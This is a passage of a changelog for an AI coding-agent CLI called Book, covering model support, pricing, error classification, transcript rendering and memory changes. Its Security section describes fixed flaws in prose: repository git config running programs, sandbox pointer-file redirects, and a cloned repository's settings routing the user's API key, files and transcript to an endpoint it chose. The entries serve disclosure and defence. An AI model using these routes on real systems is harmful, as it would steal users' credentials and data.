+  `▸ thought` row and a tool row per call instead of one `✓ Read a.js, b.js, c.js` summary. Only
+  prose between calls ends a run now, and a thought that leads to read-only calls is absorbed into
+  the run's summary row. A thought before an edit, a command, a call awaiting permission or a
+  failure, and the thought of a step that speaks, stays visible; the detailed transcript (Ctrl+O)
+  still shows every thought.
+- **Claude 4.6 and later get their 1M context window** (#416). Every Claude model resolved to a
+  200,000-token window, so Book compacted at about a fifth of what Opus 4.6–4.8, Sonnet 4.6, and
+  every 5.x model (Opus, Sonnet, Haiku, Fable, Mythos) accept. These now resolve to 1,000,000,
+  matching `max_input_tokens` from Anthropic's `/v1/models`; Haiku 4.5, the 4.5 models, and older
+  stay at 200,000. The window follows the model name on any route, so a router that caps a Claude
+  model lower is learned from its first overflow refusal, or can be declared with `contextWindow`.
+  A long Haiku 5.5 session now runs past 100,000 prompt tokens, where its per-token price is 5x.
+- **`/model` lists the current Claude models, and Haiku 5.5 takes an effort level.** The picker
+  gained Claude Opus 5.5, Sonnet 5.5, Haiku 5.5 and Fable 5.1. Haiku 5.5 was missing from the
+  Anthropic provider's adaptive-thinking models, so a request to it carried neither `thinking` nor
+  `output_config.effort` and ran at the model's own `medium` whatever effort was set; it now gets
+  both, as the other 5.x models do.
+- **Claude Haiku 5.5, Opus 4.5 and Sonnet 4.5 are priced, and Sonnet 5.5 cache reads cost what
+  Anthropic charges** (#415). The price table had no rate for the first three, so
+  `--max-budget-usd` refused every run on them and `/cost` showed no dollar figure. Sonnet 5.5's
+  cache reads counted at twice the published rate, which overstated `/cost` and stopped budgeted
+  runs early. Haiku 5.5 charges more for a request whose prompt is over 100,000 tokens: Book now
+  prices each request at its own rate, and where only a summed total is known (a delegated agent,
+  or spend carried over from an earlier run) it uses the higher rate as an upper bound. `/cost` and
+  `/usage` say when a delegated agent's figure is one; a carried budget does not, so a restarted
+  Haiku 5.5 run can stop short of its cap.
+- **A bare `advisorModel` no longer sends your key to another vendor** (#419). An id that names
+  no configured provider, such as `claude`, went to the default endpoint
+  (`https://api.openai.com/v1`) with a key meant for another one: the key of the provider the
+  session used, or `BOOK_API_KEY` when the main model was on a provider of its own, so an
+  Anthropic key reached OpenAI on every consultation, and the 401 that came back was marked
+  retryable. The advisor now fails closed. An id that is not `<provider>/<model>` for a configured
+  provider is refused, with nothing sent (`advisor_unconfigured`, not retryable, suggesting
+  `/advisor <provider>/<model>`), unless it is the main model, `BOOK_BASE_URL` is set (the legacy
+  `.bookrc.json` `baseUrl` does not count: a repository can ship it), or it resolves to exactly
+  the endpoint and key the session already uses. An id that starts or ends with `/` is refused
+  whatever the base URL, and a stored one fails the consult as `advisor_unconfigured` instead of
+  throwing. `/advisor <id>` reports the same refusal and saves nothing; with a provider prefix
+  that matches no configured provider (`antropic/x`) it saves the id and warns, as the main model
+  does, and `/advisor` alone marks a stored id that every consult would refuse. A key inherited
+  from configuration also goes only to the endpoint it was configured for, on every model switch
+  and not just the advisor's; any other endpoint gets `BOOK_API_KEY` or no key. Endpoints are
+  compared after normalisation (a trailing slash, or the case of the scheme and host, does not
+  make a different one), and a provider name is looked up as an own key, so `constructor/x`
+  names no provider. A failure a repeat would only reproduce is no longer retryable: a rejected
+  key or account (auth, quota), a retired or misspelled model (`model_unavailable`), a transcript
+  too long for the advisor's window (`context_overflow`), and any verdict on the request itself
+  (400, 404, 422, `invalid_request_error`, a content filter). Rate limits, overload, server errors,
+  network errors and timeouts stay retryable.
+- **The transcript's brightest lines are the answer again, not the agent's bookkeeping.** A sentence
+  whose only call updated the plan (TodoWrite) was read as an answer even when the agent went on
+  working, so `I'll clone, install, and launch that repo` sat in full ink between grey steps. A
+  message that more work follows in the same turn is now drawn as a step, unless it hands the turn
+  back to you (a question, plan approval, a memory save). Turns end at notifications too.
+- **The headless test suites no longer write run records into your own `~/.book`** (#421). Five
+  suites drove print mode against the real `BOOK_HOME` and left a `runs/<session-id>.json` behind
+  for every test session. Each now runs under a temporary `BOOK_HOME`, and a guard test fails any
+  suite that drives print mode or the SDK without pinning one.
+- **A tool call the registry refused before it ran no longer draws a rose row.** An unknown tool
+  name, or arguments that did not parse or fit the schema, is the model's slip, and it usually
+  resends the call corrected. Its `×`, target and message are grey; a command that ran and failed
+  stays rose, since a non-zero exit is the transcript's only record of a red test run.
+- **Run records are pruned** (#422). `<BOOK_HOME>/runs/` kept a record for every session ever run.
+  Startup now deletes the records not written in 30 days, the retention sessions and debug logs
+  already follow. Every CLI and SDK start sweeps it, whatever the session settings, and a record
+  whose run is still alive is kept.
+- **A failure's message is no longer cut to the metadata column.** It was truncated to 64 columns
+  at the right edge of the row, as in
+  `Invalid arguments for TodoWrite: arguments.todos is required. A…`, which lost the part that
+  said what was wrong. It is now set under the row, wrapped to up to two lines.
+- **`AgentWait` with a long `timeoutMs` returns the agent's status instead of timing out** (#423).
+  The wait ran under the registry's default 120-second tool deadline, so any `timeoutMs` of 120000
+  or more ended as a `tool_timeout` with no status in it. The wait is now the tool's own deadline,
+  bounded by the ceiling that `BashOutput`'s `wait_ms` has (`BOOK_TOOL_TIMEOUT_MS` where set,
+  600000 ms otherwise): a longer request is refused with that limit, and an omitted `timeoutMs`
+  waits until the agent finishes, up to it. A cancelled or disposed wait now clears its timer, so a
+  cancelled open-ended wait no longer keeps the process alive.
+- **A TodoWrite row is marked with where the plan stands, not a check.** The row
+  `✓ Steps  Clone the repo   0 of 3 done` read as a finished step; it now takes the Steps sheet's
+  marks: `◌` set out, `◔` under way, `✓` finished.
+- **A provider error with an empty body says so** (#424). A 404 with no body read just
+  `API Error: 404`; it now names the host and the model the request was for, says
+  `(empty response body)`, and suggests checking the base URL and model id. A provider message
+  that already ends in a period no longer gets a second one (`…/account/api-keys..`).
+- **A tool call written with a dotted namespace runs.** `default.Bash` answered "Unknown tool" and
+  the model spent a turn on a ToolSearch for a tool it already had. `parent.`, `default.`, `tool.`
+  and OpenAI's `functions.` now unwrap the way `default:` always did, and the transcript shows the
+  call as the tool it ran as. The list stays explicit, so `pnpm.list` is still unknown.
+
+- **A background shell's completion notice names the job** (#425). A command retried under the
+  same title finished as two identical notices, which read as one job announced twice; a titled
+  job's notice now carries its id after the title, as in `Install Spotify flatpak` (shell_2).
+- **Repository-local filters and merge drivers are disabled for Book's git calls, and lazy fetch is refused in git isolation** (#357).
+  A repository's own `.git/config` (or a file it includes) can no longer execute programs through
+  `filter.<name>.clean`, `filter.<name>.smudge`, `filter.<name>.process`, or `merge.<name>.driver`
+  during Book's git operations — repository-scope definitions are pinned to the operator's value when
+  the operator defines the same filter or driver, and to empty otherwise (with
+  `filter.<name>.required=false`), across git isolation, the read-only Git tools, `/review`, and the
+  status poll. If any repository-scope filter or merge driver name contains `=`, Book cannot
+  neutralize it and fails closed, refusing to run git calls there. Operator-configured filters and
+  merge drivers (such as from `~/.gitconfig` or system config) continue to run, so global git-lfs
+  remains functional. In git isolation, lazy object fetching in partial clones is refused
+  (`GIT_NO_LAZY_FETCH=1`, `GIT_ALLOW_PROTOCOL=`) to prevent unprompted execution of repository
+  transports (`core.sshCommand`, `credential.helper`), failing cleanly with an explanation on how to
+  fetch missing objects manually. Git's built-in `core.fsmonitor=true` daemon is honoured for the
+  read-only Git tools, `/review`, and the status poll, while git isolation keeps
+  `core.fsmonitor=false` to avoid leaving daemons behind in temporary worktrees; custom hook paths
+  remain disabled.
+- **Grep takes `-i`, and accepts `-n`** (#426). Claude Code's `-i` (or `i`) now searches
+  case-insensitively, with ripgrep and with the built-in fallback, and `-n` is accepted and
+  ignored, since results always carry line numbers. Both were refused as unknown arguments, which
+  cost the model a turn to resend the call.
+- **A router-wrapped or direct 429 for a spent plan usage limit no longer burns the retry budget**
+  (#400). A router-wrapped 429 that says a plan's weekly, daily, monthly, or N-hour usage limit is
+  spent was treated as a transient rate limit: Book waited the router's cooldown hint up to
+  `retry.maxDelayMs` on every attempt, then re-issued the turn and repeated the cycle for ~14
+  minutes and ~33 requests before claiming a temporary capacity issue for a limit resetting days
+  later. An effective 429 whose message states a usage, plan, quota, or subscription limit over a
+  long window was reached, exceeded, or spent now classifies as `usage_limit`: without
+  `retry.watchdog`, `fetchWithRetry` answers with a single request and the run ends
+  `quota_exhausted`, a park (#409). A 429 carrying OpenAI's `insufficient_quota` code is answered
+  once the same way but is about credits, so it classifies as `quota` and parks like a 402
+  (`credentials_rejected`). The formatted error names the stated reset time and remedy without
+  temporary capacity advice, while `insufficient_quota` keeps the credits advice. A short window
+  anywhere in the message keeps the error a rate limit. Under `retry.watchdog`, spent-limit 429s
+  are still retried. On any retryable
+  429, an absolute `resets at <time>` within reach is waited for, up to `retry.maxDelayMs` per
+  attempt; a reset that falls beyond what the remaining attempts and retry budget can wait halts
+  retries immediately.
+- **Tool telemetry records the session a call ran in** (#427). The `session` field of
+  `tool-use.jsonl` holds the run's trace id, so `book tool-stats` counted every run as a session.
+  Records now carry `sessionId` too, and the session count uses it; older records still count by
+  trace.
+- **Scrolling a long transcript no longer draws rows outside the viewport** (#353). The virtual
+  transcript mounts about one viewport of rows above and below the view as overscan, and Ink's
+  render walk visited every mounted node every frame: measuring `widestLine`, wrapping text, and
+  recording writes that `Output.get` discarded because they lay outside the clip. A profile of a
+  heavy session put that walk at 26% of the TUI's busy CPU while scrolling, with 54% of the
+  remaining offscreen writes coming from rows that straddled viewport edges (such as long diffs or
+  command output). `src/cli/` now installs `ink-render-cull.ts`, which tracks the walk's clip stack
+  and gives mounted transcript rows — and children of rows that straddle a viewport edge — an own
+  `getDisplay` reporting `DISPLAY_NONE` whenever a node's box lies wholly outside the innermost
+  vertical clip. Absolute tops are memoized per frame to avoid redundant ancestor traversals across
+  siblings. Yoga layout is untouched — Yoga reads display from its native style rather than the
+  JavaScript method — so layout positions are preserved while Ink skips the subtree walk entirely.
+  Set `BOOK_INK_RENDER_CULL=off` to restore the previous behavior. At very narrow widths a tool
+  summary row now truncates instead of wrapping onto the row below it. **Measured** on the shipped
+  code: every real frame was drawn twice in the same process, once with the cull and once without
+  it, from the same layout: 0 mismatches over 514 frames (Windows 248, Linux 266), and colour
+  screenshots are byte-identical with the cull on, off, and on main. The cull removes 68% (Windows)
+  and 66% (Linux) of the walk's writes (before it, 73% of the writes the walk made landed wholly
+  outside the clip; with it, 14% (Windows) and 20% (Linux)). Draw time fell from 475 ms to 303 ms
+  over wheel-up and 365 ms to 211 ms over wheel-down on Linux, and from 483 ms to 361 ms over wheel-up
+  and 355 ms to 200 ms over wheel-down on Windows. On Linux, stalls over 40 ms during wheel-up fell
+  from 1.5 to 0.3 per run (summed 66 ms to 15 ms), and the worst stall per run from 45 ms to 37 ms at
+  the median. Under load on Windows, stalls over 40 ms during wheel-up fell from 3.6 to 0.9 per run
+  (summed 182 ms to 40 ms), and the worst stall per run from 56 ms to 42 ms at the median. On a quiet
+  Windows box, stalls over 40 ms did not move (about one per run in either build): what remains there
+  is the React mount and Yoga layout of newly mounted heavy rows, which the cull does not touch.
+- **A session nothing was sent in is no longer offered back** (#428). Opening Book and leaving
+  without a prompt left an empty session behind, which `--continue` and `book status` then picked
+  as the most recent here, and which `/resume` listed. All three now skip sessions with no
+  messages. `book status` also counts a session that has a run record, so a live print-mode run
+  of host-performed commands only (such as `/review`) is still the one it reports. The empty
+  session file itself is still left behind.
+- **A model the provider no longer serves is no longer reported as a rejected credential** (#387).
+  9router wraps an upstream 403 in its own 503 (`[route] [403]: Model is no longer available`),
+  which `classifyApiError` read through the quoted status as `auth` — so the run parked as
+  `credentials_rejected` and the message told the user to check `BOOK_API_KEY` for a key that was
+  fine. A plain 403 with the same retirement wording read the same way. A 403 or 404 whose body says
+  the model itself is gone — a retirement notice, a "please select another model", an OpenAI
+  `model_not_found` code, Anthropic's 404 `not_found_error` naming `model:`, or the upstream message
+  OpenRouter forwards in `metadata.raw` — now classifies as `model_unavailable`: the message keeps
+  the upstream detail, gives no API-key advice, and points at `--model` or `/model`. The read stays
+  tight: a 401 is always `auth` whatever its body says, a 403 "Invalid API key provided" or
+  "Forbidden" and a 404 "Not Found" keep their old readings, and the #383 capacity outage (a quoted
+  404 "No endpoints found" with a `(reset after …)` cooldown) is still a retryable `server_error`.
+- **A session started in your home directory reads `~/.book/settings.json` once** (#429). There
+  the user file is also the workspace's `.book/settings.json`, so it loaded a second time as the
+  repository's layer: its rules accumulated twice, and its hooks, allow rules and directories were
+  withheld as repository declarations awaiting `book trust`, then registered twice once approved.
+  The project layer is now skipped when it is the user file, in the loader, the withheld-declaration
+  notices, `book trust` and `book doctor`, and a skill found under both roots is listed once, as
+  yours.
+- **The delegation latency test re-measures a failing verdict before it fails the run** (#390). The
+  Windows CI legs sometimes go through a few seconds in which every delegation cycle costs 0.6-3.9s while
+  the probe beside it and the child's own timer stay normal, and a re-run of the same commit measures
+  47-92ms. On those legs a failing round is now measured again, up to three rounds 3s apart within a 60s
+  budget: a round that passes decides the run, and with no passing round any failed round fails it, so a
+  regression still fails. Every other platform still decides on one round. Each printed sample also says
+  where its time went: before the child started, or after it finished.
+- **`~/.claude/CLAUDE.md` is injected once for a workspace under your home directory** (#430).
+  The instruction walk passes through your home directory, where it found the file a second time
+  as a project-level `.claude/CLAUDE.md`. Instruction files are now deduplicated by real path (the
+  link followed, and on Windows the drive-letter case as stored), and the first, user-scoped entry
+  is kept. That also loads `BOOK_HOME/AGENTS.md` once, as yours, when the workspace lies inside
+  `BOOK_HOME`, and counts a home reached through a symlink once, with the workspace given by its
+  real path. A `CLAUDE.md` linked to the `AGENTS.md` beside it loads once, and one linked to
+  `CLAUDE.local.md` loads that file once, last and as local (#524).
+- **The agent store no longer logs spurious write retry events for first-try writes** (#402).
+  Atomic JSON writes incremented an attempt counter across both lock and rename steps, returning
+  two attempts on clean writes and causing the agent store to log a retry event on every success.
+  Attempts now count the initial write plus only contended retries, a stale-lock reclaim is not
+  counted as a retry, and the store logs retry events only when a write actually retried.
+- **A session started with `/goal` is named after its condition** (#431). The TUI named it after
+  the first transcript line, `Goal set: <condition>`, and print mode after the kickoff prompt Book
+  sends for the goal.
+
+### Changed
+
+- **Book's git reads leave out changes inside submodules and never fetch in a partial clone.**
+  - **Submodules:** `GitStatus`, `GitDiff`, `/diff`, `/review` and agent isolation show a moved
+    submodule as its two commits, but not edits inside it. `GitStatus`'s description says so, so
+    the system prompt is now v6, and the first request after upgrading misses the cache.
+  - **Partial clones:** no Book git read fetches; a read that needs a missing object fails with a
+    note on how to fetch. The prompt's git line and the TUI status line show only the branch.
+  - **`/diff`** uses `GitDiff`'s flags. Your own `Bash` `git` is unchanged.
+
+- **Only text you type runs a `!` line or invokes a skill by `$name`.** Expanded text (a command's
+  body, the review guidance `/security-review` reads from `REVIEW.md`, a file inlined by a
+  mention, a delegated task) no longer counts as typed: its `!` lines stay as text, and a `$name`
+  in it invokes nothing. So a `!` line in your own command's body no longer runs in the TUI (it
+  never ran in print mode), and `` !`cmd` `` substitution is unchanged. `/security-review` expands
+  `REVIEW.md` like a project command's body. A `$` right after `/`, `\`, `@` or `.` is not a skill
+  name, and a `$name` sent to a managed agent no longer invokes a skill. `/rewind` puts back only
+  what you typed: a command's line, never its body; a turn it can't show you typed (a print-mode
+  turn, a plan handoff, a session saved before this change) leaves the composer as it is.
+- **The transcript is set as Claude Code-style items.** Every item of a turn opens on one mark in
+  the margin, `●`, whose colour carries its state: green done, rose failed, amber waiting for your
+  approval or skipped, grey for a folded run of reads or a call Book refused before it ran, and
+  blinking while it runs. No row carries a check or a cross any more.
+  - A call is headed `Name(argument)` (`Bash(npm test)`, `Read(src/config.ts)`; a search is a
+    `Search`, an edit an `Update`, a new file a `Write`), and its result hangs under it after `⎿`
+    in words, with no timings on a finished row: `Read 40 lines`, `Found 67 matches`,
+    `Added 1 line, removed 1 line`, `Wrote 5 lines`. A command shows its first line of output, then
+    `… +N lines`.
+  - A failure opens on `Error: exit N` or on its message. Only the mark and the `Error:` label take
+    the rose; the message and the output's tail keep the result's grey.
+  - The sentence the agent says before acting is the grey caption of the call under it, with no
+    mark; the final answer opens on its own `●` once it settles.
+  - The compact transcript draws no thought at all (Ctrl+O and screen-reader mode still show
+    every thought).
+  - One blank row stands between items and before each prompt, and your turns and the composer open
+    on `>`. The pilcrow `¶` still heads decision prompts and the title page's contents.
+  - A diff has one line-number column and no rail. The compact transcript previews an edit as up to
+    12 rows of its changes with one line of context, a new file as its first 5 lines, and a change
+    across several files from the top with every row under its file's name. Each edit is its own
+    `Update(path)` item; the grouped-edits heading is gone.
+  - A folded run of reads reads `Search(memory), Read(3 files)`, with the files under `⎿`.
+  - An expanded command's output is never read as Markdown, so a test runner's `# pass 12` no
+    longer draws as a heading.
+  - The Ctrl+E target and the transcript's row estimate size rows the way they now draw.
+  - This supersedes the row formats that earlier entries in this section describe (the `✓` and
+    `×` rows, the `▸ thought` row a final answer kept, and the 20-row and 10-line diff previews).
+
+- **`quota_exhausted` is a new `AgentTerminalReason`: a spent usage limit, or a wait the retries
+  cannot reach, parks the run** (#409). A change for SDK and stream-json consumers that switch over
+  the reason set. A 429 that states a spent usage or plan limit used to park as
+  `credentials_rejected`, which tells an operator to rotate a key, and a stated wait longer than the
+  retries could cover was clamped to `retry.maxDelayMs` and re-sent on every attempt. A spent-limit
+  429 now ends the run `quota_exhausted` (provider code `usage_limit`). A stated wait of 15 minutes
+  or more, from a `Retry-After` header, a router's `(reset after 3h)` or an absolute
+  `resets at <time>`, whichever is longer, that is also longer than the call can still wait (the
+  smaller of the remaining `retry.totalBudgetMs` and the remaining attempts times
+  `retry.maxDelayMs`) is returned after one request and ends the run `quota_exhausted` as well, with
+  provider code `rate_limit_wait`. It is a park like `credentials_rejected`: it is not re-issued and
+  the `Notification` hook alarm carries `kind: "quota_exhausted"`, but the remedy differs, which is
+  to wait for the reset or pick another model with `--model` or `/model`. A 402, OpenAI's
+  `insufficient_quota` and Anthropic's `billing_error` still end `credentials_rejected`. A wait
+  shorter than 15 minutes is always waited for, and `retry.watchdog` keeps waiting whatever the
+  wait. "Long runs" in the guide has the detail.
+- **Breaking: the model writes memory with the file tools, and `MemorySave` is gone.** Memory is
+  now one Markdown file per fact in the memory directory (`name`, `description` and
+  `metadata.type` frontmatter, a `Why:` and `How to apply:` line for feedback and project
+  memories, `[[links]]` to related ones), written with `Write`, `Edit`, `MultiEdit` or `ApplyPatch`
+  through the guard added with the memory write root. The model owns `MEMORY.md` as well: it adds
+  one `- [Title](file.md) — hook` line after each file, updates a file that already covers a fact
+  instead of adding another, and deletes a wrong memory with `rm`. The system prompt's memory
+  section is rewritten around that (a `write` variant in a `full` and a `learnings` flavour, and a
+  `read-only` variant for a subagent, `memory.autoSave: false`, or a `deny` rule that refuses a
+  memory write; no memory section when memory is off). The `memory saved: <file>` notice, and a
+  `memory deleted: <file>` one for an `ApplyPatch` delete, now come from the file tools; a memory
+  write keeps the hand-back look in the TUI, and its row names the file `memory/<name>.md` instead
+  of `../home/.book/projects/<slug>/memory/<name>.md`. `Glob` and `Grep` now search the memory
+  directory (never its dot-entries), a subagent included.
+- **Breaking: the memory inbox, the external-content quarantine, supersede history and background
+  extraction are removed.** `/memory inbox`, `/memory approve` and `/memory discard` are gone;
+  `/memory` keeps `status`, `path`, `on`, `off` and `delete <file>`, and `delete` now also removes
+  every `MEMORY.md` line linking to the file. Nothing is held back for review any more, a session
+  that read the web or an MCP server writes memory like any other, and an overwrite or a delete is
+  final. An existing inbox, superseded file or extraction file is dropped by the migration below.
+  `/memory status` and `book doctor` show the memory count, the legacy count (files a migration
+  that could not run left in the old layout) and the index against both limits. Entries in the session
+  state block and the `runtime.usedToolNames` tool history that served quarantine are removed with
+  them. The settings `memory.requireApproval`, `memory.quarantineExternal` and `memory.extraction`
+  are no longer read, and neither is a permission rule that names `MemorySave`: a document that
+  still has one loads, and `book doctor` reports each by key. `memory.enabled` and
+  `memory.autoSave` stay.
+- **Breaking: an existing memory store is migrated once, with a backup.** The first session that
+  loads a directory still in the old layout (files named `YYYY-MM-DD-<type>-<title>-<hash>.md` with
+  top-level `type` / `status` frontmatter, an `.inbox/`, extraction state, a typed index) copies the
+  whole directory, dot-entries included and symlinks skipped, to `memory.legacy-<YYYYMMDD>/` beside
+  `memory/` (`-2`, `-3`, … if that name exists). If the copy fails nothing changes and the next
+  session tries again. Each approved file is then rewritten in place as `<slug>.md` with `name`,
+  `description` (its old index hook, else its first body line) and `metadata` (`type`,
+  `originSessionId`, `modified`, `evidence`, and `driver: agent` where the old file said so; a
+  migrated delegated-run file stays agent-owned), and `MEMORY.md` is rewritten as
+  `- [Title](slug.md) — description` lines after the hand-written lines it held. Superseded,
+  pending and discarded files, the inbox, and the extraction state and lock files are not carried
+  over; they survive only in the backup. A `.format` file marks the directory as migrated.
+  While the backup exists, `/memory status` and `book doctor` say where it is: "Migrated to the new
+  memory format; the old files are in `<path>`."
+- **The transcript caps file diffs and its output footers are short** (#456, #458). A newly created
+  file previews only its first 10 lines, one terminal row each, with no hunk header. Ctrl+E shows
+  the whole of the current (latest or selected) row's output, not every row. A cut of a new file or
+  of plain tool output is summarised as `… +N lines (Ctrl+E)` instead of
+  `… 97 more lines hidden, 2620 B (103 lines, 2.7 KB total; Ctrl+E shows all)`, and when long lines
+  were shortened it reads `… +N lines, M long lines shortened (Ctrl+E)`. How an edit's diff is
+  previewed is described under #470 below.
+- **The compact transcript previews an edit's diff as its first 20 rendered rows** (#470). A
+  12-line rename made by one `Edit` took 54 rows of the screen. Any diff of an existing file (`Edit`,
+  `MultiEdit`, an `ApplyPatch` update, a `Write` over a file) now shows its first 20 rows in order
+  and ends in `… +N lines (Ctrl+E)`; the files of one multi-file call share the 20. A single file's
+  `--- path` / `+++ path` rows are dropped, since the row above names the path; several files keep
+  them. A first line too long for the 20 is cut to them and ends in `…`. A new file keeps its
+  10-line preview. Every collapsed budget (the 10, the 20, and the detailed transcript's 80) now
+  counts rendered terminal rows, so a diff of long wrapped lines no longer overruns it; the
+  `⋮ N lines omitted` gap rows and hunk headers count, and the footer does not. The detailed
+  transcript (Ctrl+O) and screen-reader mode keep the change-focused 80-row preview, whose gaps
+  read `⋮ N lines omitted` and whose footer gives the total, `… N lines hidden (Ctrl+E)`; the
+  permission prompt's diff uses that preview and wording, with its own `D shows more` hint, offered
+  whenever the rendered diff is cut, however few source lines it has. A file whose diff has one
+  hunk draws no hunk header, and a file with several draws each with its counts (`@@ -2,7 +2,7 @@`)
+  instead of `@@ -1 +1 @@` above a 39-line hunk, counted per file and only over the diff's own
+  lines, in the permission prompt too. The model-facing diff text is unchanged.
+- **`model_unavailable` is a new `AgentTerminalReason` and stream-json `stopReason` value** (#387). A
+  change for SDK and stream-json consumers that switch over the reason set. A stream that ends with
+  it fails under `model_unavailable` and parks like `credentials_rejected` — nothing is wrong with
+  the work, a supervisor can wait for an operator to pick another model, and it is never re-issued.
+  The park branch's Notification hook now sends its own `kind: "model_unavailable"` instead of the
+  hard-coded `credentials_rejected`, so a retirement alarm does not read as a rejected credential.
+  When auto-compaction fails because the session's own model is unavailable, the failure is treated
+  as shared so a model-free (summary-less) checkpoint does not wipe the history before resume; a
+  distinct compact model that is unavailable still lets the model-free fallback follow.
+- **A stream may wait longer for its first delta when nothing yet says what kind of stream it is**
+  (#379). `retry.firstDeltaStallTimeoutMs` (default 120 s, range 5 s–30 min,
+  `BOOK_FIRST_DELTA_STALL_TIMEOUT_MS`) bounds the pause before a stream's first non-empty content,
+  tool-call or reasoning delta — a role-only chunk, an empty content string and a usage-only chunk do
+  not count — but only when the request sends no `reasoning_effort` and the model's catalog entry
+  does not settle effort: no entry at all, or one without an `effort` key, such as `{}`. A router
+  that buffers the model's whole thinking block sends a role-only first chunk and then silence for up
+  to about 80 s, which the 20 s chat ceiling read as `stream_stall` on a healthy request. The first
+  meaningful delta hands the stream back to the per-phase ceilings unchanged. An `effort: false`
+  entry, an explicit `--effort`, and a catalogued effort range behave exactly as before, and the
+  Anthropic path is untouched.
+
+### Security
+
+- **The prompt's git line no longer runs a repository's `core.fsmonitor` program** (#574). Every
+  turn, the `<session-state>` git line ran `git status` without the hardening the read-only Git
+  tools use, so a checkout whose `.git/config` named a program in `core.fsmonitor` ran it on every
+  turn, with no prompt. Both calls now go through `readOnlyGit`. The built-in daemon
+  (`core.fsmonitor=true`) is still allowed.
+- **A crafted `.git` file can't pick another project's memory** (#575). Memory keying followed a
+  `.git` file's `gitdir` and its `commondir` to any path ending in `.git`. A `.git` file now maps to
+  its main checkout only when git's round trip holds:
+  - the gitdir is `<common>/worktrees/<name>`;
+  - that entry's `gitdir` names this directory's `.git`;
+  - both files have the same owner.
+
+  Anything else is keyed by its own directory, and pointer files are read as bounded regular files.
+  A worktree moved by hand now keys by itself until `git worktree repair` fixes the link.
+
+- **The sandbox binds the workspace's git directories read-only by default, closing the pointer-file redirect** (issue 373).
+  Inside the namespace every git directory of the workspace (`.git`, linked worktree admin directories,
+  and submodule git directories) is now bound read-only by default, closing the gap where a sandboxed command
+  could create `.git/commondir` to redirect the host's next git invocation. Discovered via `.git` files,
+  `commondir` files, `.git/worktrees/*`, and nested `.git/modules/*` (including multi-segment submodule paths).
+  Candidates must look like a git directory (`HEAD` exists, and either an `objects` directory or a `commondir`
+  file exists); pointers naming the workspace root or plain directories do not bind them read-only, and a
+  candidate canonicalising to the workspace root is refused. In default read-only mode, each ancestor directory
+  strictly between the workspace root and every protected mount is pinned with a writable self-bind
+  (`--bind <dir> <dir>`), so a pinned directory cannot be renamed or removed inside the sandbox (`EBUSY`).
+  `core.hooksPath` inside the workspace stays read-only in both modes, and git directories outside the workspace
+  are left alone. Sandboxed git writes (`git commit`, `git checkout`, `git add`, `git fetch`) fail by default
+  (a breaking behaviour change) with a diagnostic note explaining that the repository's git directory is
+  read-only inside the sandbox and directing the user to run outside or opt out. `git stash` in read-only mode
+  fails silently with exit 1 and no output. The new `sandbox.filesystem.allowGitWrites` setting (default `false`)
+  restores the previous behaviour when set to `true`: git directories stay writable, control files stay
+  protected per-file, and the pointer-file gap reopens. Pinning work tree directories is omitted in opt-out
+  mode so in-workspace worktree removal does not fail halfway, which leaves the parent rename hole open there.
+  Only a trusted layer (`~/.book/settings.json`, `--settings`) may set `allowGitWrites`: workspace layers may
+  only tighten it to `false`. An `allowWrite` opt-in on a git dir reopens what it names, but keeps control paths
+  strictly below it (`hooks/`, `config`, pointer files) read-only unless directly opted into. Any component on
+  the way to a protected mount, discovered git directory, or pointer target reached through a symlink in the
+  workspace is refused unless the symlink itself lives inside a present read-only directory mount or inside a
+  `denyWrite` / `denyRead` directory. Note that a sandboxed `git worktree remove` deletes the work tree and then
+  fails on its read-only admin directory; `git worktree prune` outside the sandbox cleans up.
+- **A cloned repository could send your provider key, and the conversation, to an endpoint it
+  named** (#418). A checked-in `.book/settings.json`, a force-added `.book/settings.local.json` or
+  a legacy `.bookrc.json` could set a provider's `baseURL` and `apiKey`, and `apiKey` accepted a
+  `{file:~/…}`, an absolute `{file:…}` or an `{env:VAR}` reference, so the repository chose both
+  where a request went and which secret rode with it: your provider key, `BOOK_API_KEY`, any file
+  under `~` or any environment variable, together with the transcript. Now a workspace layer's
+  `baseURL`, `baseUrl`, `apiKey` and `type` for a provider your own settings define are dropped and
+  reported (only its `models` still merge; `type` decides how your key is sent, so flipping it to
+  `anthropic` would have posted the key as `x-api-key` to `/v1/messages`, and the model picker's
+  refresh would have saved that into `~/.book/settings.json`, which now writes only your own
+  file's values). A provider only a workspace declares is withheld
+  until `book trust provider <id>` approves it, against a fingerprint of its type, origin and
+  `apiKey` text, so a changed `baseURL` or key reference asks again. The listing shows the parsed
+  origin in full (a URL with userinfo before the host, or one that does not parse, is flagged), the
+  variable an `{env:}` reference names and the normalised file a `{file:}` reference opens, not
+  text a long run of filler could push the real host or path out of. A workspace provider never
+  inherits `BOOK_API_KEY` or the session key, and an unapproved one's key reference is never
+  resolved; the gate is recomputed whenever settings are re-read in a session, so removing a
+  provider of yours that shared an id with an approved workspace one no longer sends the workspace
+  origin `BOOK_API_KEY`. A workspace `model`, `compactModel`, `advisorModel`, agent-profile model
+  or legacy `.bookrc.json` `model` that names a withheld provider falls back to your value with a
+  notice; an agent definition's `model:` and an `AgentSpawn` model fail with the
+  `book trust provider` message instead. **Your own selection is unaffected:** a `model` from your
+  settings, `--settings`, `--model` or `BOOK_MODEL` whose prefix names only a withheld workspace
+  provider (your `meta-llama/llama-3-70b` against a repository's `meta-llama` provider) starts and
+  resolves as the plain fallback, and is reported once; approving that provider would route it to
+  the workspace's origin, which the `book trust provider` listing says, naming each such selection.
+  A workspace provider named `.bookrc.json` is reserved and can never be approved, so it cannot
+  share the decision about a legacy `baseUrl`. That `baseUrl` is ignored until
+  `book trust provider .bookrc.json` approves it, and the listing names everything an approved one
+  would receive as the default endpoint: `BOOK_API_KEY`, the key of every provider with no
+  `baseURL`, and every plain model id. Every `book trust` command Book suggests names
+  `--workspace` when it differs from the current directory and quotes the provider id for your
+  shell, or lists instead when the id holds a character a shell would interpret. `/advisor off` now
+  also writes `advisorModel: "off"` to `.book/settings.local.json` when a checked-in file still
+  declares an advisor, so it stays off, and that `off` is ignored once the repository stops
+  declaring one, so your own advisor applies again. Print mode, the SDK and the TUI report each
+  withheld declaration (the TUI shows them in the transcript at launch, not saved to the session
+  and not sent to the model), and `book doctor` lists every workspace provider with its state.
+  **Behaviour change:** a provider that only a repository declares now needs
+  `book trust provider <id>` before it is used, and an approved provider with no key of its own
+  sends none, so it fails at startup with the missing-key error until its declaration carries its
+  own `apiKey`. A provider you define in `~/.book/settings.json` is unaffected.
+- **Provider requests refuse every HTTP redirect, so your key and prompt stay with the endpoint you
+  configured** (#445). Node's `fetch` follows a 3xx, so a provider endpoint that answered
